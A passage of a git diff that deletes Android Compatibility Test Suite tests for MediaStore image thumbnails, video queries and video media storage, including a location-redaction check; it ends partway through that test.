- final long now = System.currentTimeMillis() / 1000;
- assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
- assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
-
- // Confirm that we trusted value from XMP metadata
- assertEquals("image/dng", c.getString(c.getColumnIndex(ImageColumns.MIME_TYPE)));
-
- assertEquals(107704, c.getLong(c.getColumnIndex(ImageColumns.SIZE)));
-
- final String displayName = c.getString(c.getColumnIndex(ImageColumns.DISPLAY_NAME));
- assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
- assertTrue("Invalid display name " + displayName, displayName.endsWith(".jpg"));
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
deleted file mode 100644
index 2d28405..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ /dev/null
@@ -1,511 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.res.Configuration;
-import android.content.res.Resources;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.ImageDecoder;
-import android.net.Uri;
-import android.os.Environment;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Images.Media;
-import android.provider.MediaStore.Images.Thumbnails;
-import android.provider.MediaStore.MediaColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import junit.framework.AssertionFailedError;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Images_ThumbnailsTest {
- private ArrayList<Uri> mRowsAdded;
-
- private Context mContext;
- private ContentResolver mContentResolver;
-
- private Uri mExternalImages;
-
- @Parameter(0)
- public String mVolumeName;
-
- private int mLargestDimension;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- private Uri mRed;
- private Uri mBlue;
-
- @After
- public void tearDown() throws Exception {
- for (Uri row : mRowsAdded) {
- try {
- mContentResolver.delete(row, null, null);
- } catch (UnsupportedOperationException e) {
- // There is no way to delete rows from table "thumbnails" of internals database.
- // ignores the exception and make the loop goes on
- }
- }
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- mRowsAdded = new ArrayList<Uri>();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-
- final Resources res = mContext.getResources();
- final Configuration config = res.getConfiguration();
- mLargestDimension = (int) (Math.max(config.screenWidthDp, config.screenHeightDp)
- * res.getDisplayMetrics().density);
- }
-
- private void prepareImages() throws Exception {
- mRed = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
- mBlue = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
- mRowsAdded.add(mRed);
- mRowsAdded.add(mBlue);
- }
-
- public static void assertMostlyEquals(long expected, long actual, long delta) {
- if (Math.abs(expected - actual) > delta) {
- throw new AssertionFailedError("Expected roughly " + expected + " but was " + actual);
- }
- }
-
- @Test
- public void testQueryExternalThumbnails() throws Exception {
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
- prepareImages();
-
- Cursor c = Thumbnails.queryMiniThumbnails(mContentResolver,
- Thumbnails.EXTERNAL_CONTENT_URI, Thumbnails.MICRO_KIND, null);
- int previousMicroKindCount = c.getCount();
- c.close();
-
- // add a thumbnail
- final File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
- "testThumbnails.jpg");
- final String path = file.getAbsolutePath();
- ProviderTestUtils.stageFile(R.raw.scenery, file);
- ContentValues values = new ContentValues();
- values.put(Thumbnails.KIND, Thumbnails.MINI_KIND);
- values.put(Thumbnails.DATA, path);
- values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
- Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
- if (uri != null) {
- mRowsAdded.add(uri);
- }
-
- // query with the uri of the thumbnail and the kind
- c = Thumbnails.queryMiniThumbnails(mContentResolver, uri, Thumbnails.MINI_KIND, null);
- c.moveToFirst();
- assertEquals(1, c.getCount());
- assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
- assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
-
- // query all thumbnails with other kind
- c = Thumbnails.queryMiniThumbnails(mContentResolver, Thumbnails.EXTERNAL_CONTENT_URI,
- Thumbnails.MICRO_KIND, null);
- assertEquals(previousMicroKindCount, c.getCount());
- c.close();
-
- // query without kind
- c = Thumbnails.query(mContentResolver, uri, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
- assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
- c.close();
- }
-
- @Test
- public void testQueryExternalMiniThumbnails() throws Exception {
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
- final ContentResolver resolver = mContentResolver;
-
- // insert the image by bitmap
- BitmapFactory.Options opts = new BitmapFactory.Options();
- opts.inTargetDensity = DisplayMetrics.DENSITY_XHIGH;
- Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery,opts);
- String stringUrl = null;
- try{
- stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
- } catch (UnsupportedOperationException e) {
- // the tests will be aborted because the image will be put in sdcard
- fail("There is no sdcard attached! " + e.getMessage());
- }
- assertNotNull(stringUrl);
- Uri stringUri = Uri.parse(stringUrl);
- mRowsAdded.add(stringUri);
-
- // get the original image id and path
- Cursor c = mContentResolver.query(stringUri,
- new String[]{ Media._ID, Media.DATA }, null, null, null);
- c.moveToFirst();
- long imageId = c.getLong(c.getColumnIndex(Media._ID));
- String imagePath = c.getString(c.getColumnIndex(Media.DATA));
- c.close();
-
- MediaStore.waitForIdle(mContext);
- assertExists("image file does not exist", imagePath);
- assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
- assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
- // deleting the image from the database also deletes the image file, and the
- // corresponding entry in the thumbnail table, which in turn triggers deletion
- // of the thumbnail file on disk
- mContentResolver.delete(stringUri, null, null);
- mRowsAdded.remove(stringUri);
-
- MediaStore.waitForIdle(mContext);
- assertNotExists("image file should no longer exist", imagePath);
- assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
- assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
- // insert image, then delete it via the files table
- stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
- c = mContentResolver.query(Uri.parse(stringUrl),
- new String[]{ Media._ID, Media.DATA}, null, null, null);
- c.moveToFirst();
- imageId = c.getLong(c.getColumnIndex(Media._ID));
- imagePath = c.getString(c.getColumnIndex(Media.DATA));
- c.close();
- assertExists("image file does not exist", imagePath);
- Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
- mContentResolver.delete(fileuri, null, null);
- assertNotExists("image file should no longer exist", imagePath);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri("internal"), null, null,
- null, null));
- c.close();
- assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri(mVolumeName), null, null,
- null, null));
- c.close();
- }
-
- @Test
- public void testStoreImagesMediaExternal() throws Exception {
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
- prepareImages();
-
- final String externalImgPath = Environment.getExternalStorageDirectory() +
- "/testimage.jpg";
- final String externalImgPath2 = Environment.getExternalStorageDirectory() +
- "/testimage1.jpg";
- ContentValues values = new ContentValues();
- values.put(Thumbnails.KIND, Thumbnails.FULL_SCREEN_KIND);
- values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
- values.put(Thumbnails.HEIGHT, 480);
- values.put(Thumbnails.WIDTH, 320);
- values.put(Thumbnails.DATA, externalImgPath);
-
- // insert
- Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
- assertNotNull(uri);
-
- // query
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long id = c.getLong(c.getColumnIndex(Thumbnails._ID));
- assertTrue(id > 0);
- assertEquals(Thumbnails.FULL_SCREEN_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
- assertEquals(ContentUris.parseId(mRed), c.getLong(c.getColumnIndex(Thumbnails.IMAGE_ID)));
- assertEquals(480, c.getInt(c.getColumnIndex(Thumbnails.HEIGHT)));
- assertEquals(320, c.getInt(c.getColumnIndex(Thumbnails.WIDTH)));
- assertEquals(externalImgPath, c.getString(c.getColumnIndex(Thumbnails.DATA)));
- c.close();
-
- // update
- values.clear();
- values.put(Thumbnails.KIND, Thumbnails.MICRO_KIND);
- values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mBlue));
- values.put(Thumbnails.HEIGHT, 50);
- values.put(Thumbnails.WIDTH, 50);
- values.put(Thumbnails.DATA, externalImgPath2);
- assertEquals(1, mContentResolver.update(uri, values, null, null));
-
- // delete
- assertEquals(1, mContentResolver.delete(uri, null, null));
- }
-
- @Test
- public void testThumbnailGenerationAndCleanup() throws Exception {
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
- final ContentResolver resolver = mContentResolver;
-
- // insert an image
- Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
- Uri uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
- "test description"));
- long imageId = ContentUris.parseId(uri);
-
- MediaStore.waitForIdle(mContext);
- assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
- assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
- // delete the source image and check that the thumbnail is gone too
- mContentResolver.delete(uri, null /* where clause */, null /* where args */);
-
- MediaStore.waitForIdle(mContext);
- assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
- assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
- // insert again
- uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
- "test description"));
- imageId = ContentUris.parseId(uri);
-
- // query its thumbnail again
- MediaStore.waitForIdle(mContext);
- assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
- assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
- // update the media type
- ContentValues values = new ContentValues();
- values.put("media_type", 0);
- assertEquals("unexpected number of updated rows",
- 1, mContentResolver.update(uri, values, null /* where */, null /* where args */));
-
- // image was marked as regular file in the database, which should have deleted its thumbnail
- MediaStore.waitForIdle(mContext);
- assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
- assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
- // check source no longer exists as image
- Cursor c = mContentResolver.query(uri,
- null /* projection */, null /* where */, null /* where args */, null /* sort */);
- assertFalse("source entry should be gone", c.moveToNext());
- c.close();
-
- // check source still exists as file
- Uri fileUri = ContentUris.withAppendedId(
- MediaStore.Files.getContentUri("external"),
- Long.valueOf(uri.getLastPathSegment()));
- c = mContentResolver.query(fileUri,
- null /* projection */, null /* where */, null /* where args */, null /* sort */);
- assertTrue("source entry is gone", c.moveToNext());
- String sourcePath = c.getString(c.getColumnIndex("_data"));
- c.close();
-
- // clean up
- mContentResolver.delete(fileUri, null /* where */, null /* where args */);
- new File(sourcePath).delete();
- }
-
- @Test
- public void testThumbnailOrderedQuery() throws Exception {
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
- Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
- Uri url[] = new Uri[3];
- try{
- for (int i = 0; i < url.length; i++) {
- url[i] = Uri.parse(
- Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null));
- mRowsAdded.add(url[i]);
- long origId = Long.parseLong(url[i].getLastPathSegment());
- MediaStore.waitForIdle(mContext);
- Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
- origId, Thumbnails.MICRO_KIND, null);
- assertNotNull(foo);
- }
-
- // Remove one of the images, which will also delete any thumbnails
- // If the image was deleted, we don't want to delete it again
- if (mContentResolver.delete(url[1], null, null) > 0) {
- mRowsAdded.remove(url[1]);
- }
-
- long removedId = Long.parseLong(url[1].getLastPathSegment());
- long remainingId1 = Long.parseLong(url[0].getLastPathSegment());
- long remainingId2 = Long.parseLong(url[2].getLastPathSegment());
-
- // check if a thumbnail is still being returned for the image that was removed
- MediaStore.waitForIdle(mContext);
- Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
- removedId, Thumbnails.MICRO_KIND, null);
- assertNull(foo);
-
- for (String order: new String[] { " ASC", " DESC" }) {
- Cursor c = mContentResolver.query(
- MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null,
- MediaColumns._ID + order);
- while (c.moveToNext()) {
- long id = c.getLong(c.getColumnIndex(MediaColumns._ID));
- MediaStore.waitForIdle(mContext);
- foo = MediaStore.Images.Thumbnails.getThumbnail(
- mContentResolver, id,
- MediaStore.Images.Thumbnails.MICRO_KIND, null);
- if (id == removedId) {
- assertNull("unexpected bitmap with" + order + " ordering", foo);
- } else if (id == remainingId1 || id == remainingId2) {
- assertNotNull("missing bitmap with" + order + " ordering", foo);
- }
- }
- c.close();
- }
- } catch (UnsupportedOperationException e) {
- // the tests will be aborted because the image will be put in sdcard
- fail("There is no sdcard attached! " + e.getMessage());
- }
- }
-
- @Test
- public void testInsertUpdateDelete() throws Exception {
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalImages, displayName, "image/png");
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final Uri finalUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (OutputStream out = session.openOutputStream()) {
- writeImage(mLargestDimension, mLargestDimension, Color.RED, out);
- }
- finalUri = session.publish();
- }
-
- // Directly reading should be larger
- final Bitmap full = ImageDecoder
- .decodeBitmap(ImageDecoder.createSource(mContentResolver, finalUri));
- assertEquals(mLargestDimension, full.getWidth());
- assertEquals(mLargestDimension, full.getHeight());
-
- {
- // Thumbnail should be smaller
- MediaStore.waitForIdle(mContext);
- final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
- assertTrue(thumb.getWidth() < full.getWidth());
- assertTrue(thumb.getHeight() < full.getHeight());
-
- // Thumbnail should match contents
- assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
- }
-
- // Verify legacy APIs still work
- if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
- for (int kind : new int[] {
- MediaStore.Images.Thumbnails.MINI_KIND,
- MediaStore.Images.Thumbnails.FULL_SCREEN_KIND,
- MediaStore.Images.Thumbnails.MICRO_KIND
- }) {
- // Thumbnail should be smaller
- MediaStore.waitForIdle(mContext);
- final Bitmap thumb = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
- ContentUris.parseId(finalUri), kind, null);
- assertTrue(thumb.getWidth() < full.getWidth());
- assertTrue(thumb.getHeight() < full.getHeight());
-
- // Thumbnail should match contents
- assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
- }
- }
-
- // Edit image contents
- try (OutputStream out = mContentResolver.openOutputStream(finalUri)) {
- writeImage(mLargestDimension, mLargestDimension, Color.BLUE, out);
- }
-
- // Wait a few moments for events to settle
- MediaStore.waitForIdle(mContext);
-
- {
- // Thumbnail should match updated contents
- MediaStore.waitForIdle(mContext);
- final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
- assertColorMostlyEquals(Color.BLUE, thumb.getPixel(16, 16));
- }
-
- // Delete image contents
- mContentResolver.delete(finalUri, null, null);
-
- // Thumbnail should no longer exist
- try {
- MediaStore.waitForIdle(mContext);
- mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
- fail("Funky; we somehow made a thumbnail out of nothing?");
- } catch (FileNotFoundException expected) {
- }
- }
-
- private static void writeImage(int width, int height, int color, OutputStream out) {
- final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
- final Canvas canvas = new Canvas(bitmap);
- canvas.drawColor(color);
- bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
- }
-
- /**
- * Since thumbnails might be bounced through a compression pass, we're okay
- * if they're mostly equal.
- */
- private static void assertColorMostlyEquals(int expected, int actual) {
- assertEquals(Integer.toHexString(expected & 0xF0F0F0F0),
- Integer.toHexString(actual & 0xF0F0F0F0));
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
deleted file mode 100644
index 98242b8..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Video;
-import android.provider.MediaStore.Video.VideoColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_VideoTest {
- private Context mContext;
- private ContentResolver mResolver;
-
- private Uri mExternalVideo;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
- }
-
- @Test
- public void testQuery() throws Exception {
- ContentValues values = new ContentValues();
-
- final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
- "testVideo" + System.nanoTime() + ".3gp");
- final String valueOfData = file.getAbsolutePath();
- ProviderTestUtils.stageFile(R.raw.testvideo, file);
-
- values.put(VideoColumns.DATA, valueOfData);
-
- Uri newUri = mResolver.insert(mExternalVideo, values);
- assertNotNull(newUri);
-
- Cursor c = Video.query(mResolver, newUri, new String[] { VideoColumns.DATA });
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(valueOfData, c.getString(c.getColumnIndex(VideoColumns.DATA)));
- c.close();
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
deleted file mode 100644
index 92ce7e0..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ /dev/null
@@ -1,417 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.AppOpsManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.database.Cursor;
-import android.media.MediaExtractor;
-import android.media.MediaMetadataRetriever;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.os.storage.StorageManager;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Video.Media;
-import android.provider.MediaStore.Video.VideoColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.FileUtils;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Arrays;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Video_MediaTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- private Uri mExternalVideo;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
- null));
- c.close();
- assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
- null));
- c.close();
- }
-
- private void cleanExternalMediaFile(String path) {
- mContentResolver.delete(mExternalVideo, "_data=?", new String[] { path });
- new File(path).delete();
- }
-
- @Test
- public void testStoreVideoMediaExternal() throws Exception {
- final String externalVideoPath = new File(ProviderTestUtils.stageDir(mVolumeName),
- "testvideo.3gp").getAbsolutePath();
- final String externalVideoPath2 = new File(ProviderTestUtils.stageDir(mVolumeName),
- "testvideo1.3gp").getAbsolutePath();
-
- // clean up any potential left over entries from a previous aborted run
- cleanExternalMediaFile(externalVideoPath);
- cleanExternalMediaFile(externalVideoPath2);
-
- int numBytes = 1337;
- File videoFile = new File(externalVideoPath);
- FileUtils.createFile(videoFile, numBytes);
-
- ContentValues values = new ContentValues();
- values.put(Media.ALBUM, "cts");
- values.put(Media.ARTIST, "cts team");
- values.put(Media.CATEGORY, "test");
- long dateTaken = System.currentTimeMillis();
- values.put(Media.DATE_TAKEN, dateTaken);
- values.put(Media.DESCRIPTION, "This is a video");
- values.put(Media.DURATION, 8480);
- values.put(Media.LANGUAGE, "en");
- values.put(Media.IS_PRIVATE, 1);
- values.put(Media.MINI_THUMB_MAGIC, 0);
- values.put(Media.RESOLUTION, "176x144");
- values.put(Media.TAGS, "cts, test");
- values.put(Media.DATA, externalVideoPath);
- values.put(Media.DISPLAY_NAME, "testvideo.3gp");
- values.put(Media.MIME_TYPE, "video/3gpp");
- values.put(Media.SIZE, numBytes);
- values.put(Media.TITLE, "testvideo");
- long dateAdded = System.currentTimeMillis() / 1000;
- values.put(Media.DATE_ADDED, dateAdded);
- long dateModified = videoFile.lastModified() / 1000;
- values.put(Media.DATE_MODIFIED, dateModified);
-
- // insert
- Uri uri = mContentResolver.insert(mExternalVideo, values);
- assertNotNull(uri);
-
- try {
- // query
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long id = c.getLong(c.getColumnIndex(Media._ID));
- assertTrue(id > 0);
- assertEquals("cts", c.getString(c.getColumnIndex(Media.ALBUM)));
- assertEquals("cts team", c.getString(c.getColumnIndex(Media.ARTIST)));
- assertEquals("test", c.getString(c.getColumnIndex(Media.CATEGORY)));
- assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
- assertEquals(8480, c.getInt(c.getColumnIndex(Media.DURATION)));
- assertEquals("This is a video",
- c.getString(c.getColumnIndex(Media.DESCRIPTION)));
- assertEquals("en", c.getString(c.getColumnIndex(Media.LANGUAGE)));
- assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
- assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
- assertEquals("176x144", c.getString(c.getColumnIndex(Media.RESOLUTION)));
- assertEquals("cts, test", c.getString(c.getColumnIndex(Media.TAGS)));
- assertEquals(externalVideoPath, c.getString(c.getColumnIndex(Media.DATA)));
- assertEquals("testvideo.3gp", c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
- assertEquals("video/3gpp", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
- assertEquals("testvideo", c.getString(c.getColumnIndex(Media.TITLE)));
- assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
- long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
- assertTrue(realDateAdded >= dateAdded);
- assertEquals(dateModified, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
- c.close();
- } finally {
- // delete
- assertEquals(1, mContentResolver.delete(uri, null, null));
- new File(externalVideoPath).delete();
- }
-
- // check that the video file is removed when deleting the database entry
- Context context = mContext;
- Uri videoUri = insertVideo(context);
- File videofile = new File(ProviderTestUtils.stageDir(mVolumeName), "testVideo.3gp");
- assertExists(videofile);
- mContentResolver.delete(videoUri, null, null);
- assertNotExists(videofile);
- }
-
- private Uri insertVideo(Context context) throws IOException {
- final File dir = ProviderTestUtils.stageDir(mVolumeName);
- final File file = new File(dir, "testVideo.3gp");
- // clean up any potential left over entries from a previous aborted run
- cleanExternalMediaFile(file.getAbsolutePath());
-
- ProviderTestUtils.stageFile(R.raw.testvideo, file);
-
- ContentValues values = new ContentValues();
- values.put(VideoColumns.DATA, file.getAbsolutePath());
- return context.getContentResolver().insert(mExternalVideo, values);
- }
-
- /**
- * This test doesn't hold
- * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif and XMP
- * location information should be redacted.
- */
- @Test
- public void testLocationRedaction() throws Exception {
- // STOPSHIP: remove this once isolated storage is always enabled
- Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalVideo, displayName, "video/mp4");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
- final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
-
- // Since we own the video, we should be able to see the location
- // we ourselves contributed
